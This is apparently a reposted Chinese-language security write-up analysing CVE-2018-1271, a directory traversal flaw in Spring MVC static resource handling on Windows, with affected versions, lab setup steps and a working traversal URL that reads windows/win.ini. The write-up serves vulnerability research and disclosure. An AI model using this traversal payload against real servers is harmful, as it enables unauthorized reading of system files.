最新消息:图 床

Spring MVC 目錄穿越漏洞(CVE-2018-1271)分析

COOL IAM 100浏览 0评论

作者: Badcode@知道創宇404實驗室
時間: 2018/08/14
英文版:https://paper.seebug.org/991/

漏洞簡介

2018年04月05日,Pivotal公布了Spring MVC存在一個目錄穿越漏洞(CVE-2018-1271)。Spring Framework版本5.0到5.0.4,4.3到4.3.14以及較舊的不受支持的版本允許應用程序配置Spring MVC以提供靜態資源(例如CSS,JS,圖像)。當Spring MVC的靜態資源存放在Windows系統上時,攻擊可以通過構造特殊URL導致目錄遍歷漏洞。

漏洞影響

  • Spring Framework 5.0 to 5.0.4.
  • Spring Framework 4.3 to 4.3.14
  • 已不支持的舊版本仍然受影響

漏洞利用條件

  • Server運行於Windows系統上
  • 要使用file協議打開資源文件目錄

漏洞復現

復現環境

環境搭建

1.下載 spring-mvc-showcase

git clone https://github.com/spring-projects/spring-mvc-showcase.git

修改pom.xml,使用Spring Framework 5.0.0。

通過官方文檔可知有兩種方式配置,可自行選擇配置。此處通過重寫WebMvcConfigurer中的addResourceHandlers方法來添加新的資源文件路徑。在org.springframework.samples.mvc.config.WebMvcConfig添加以下代碼即可,使用file://協議指定resources為靜態文件目錄。

 registry.addResourceHandler("/resources/**").addResourceLocations("file:./src/main/resources/","/resources/");

3.使用 jetty 啟動項目

mvn jetty:run

至此復現環境搭建完畢。

復現過程及結果

訪問以下鏈接

http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

转载请注明:IAMCOOL » Spring MVC 目錄穿越漏洞(CVE-2018-1271)分析

0 0 vote
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x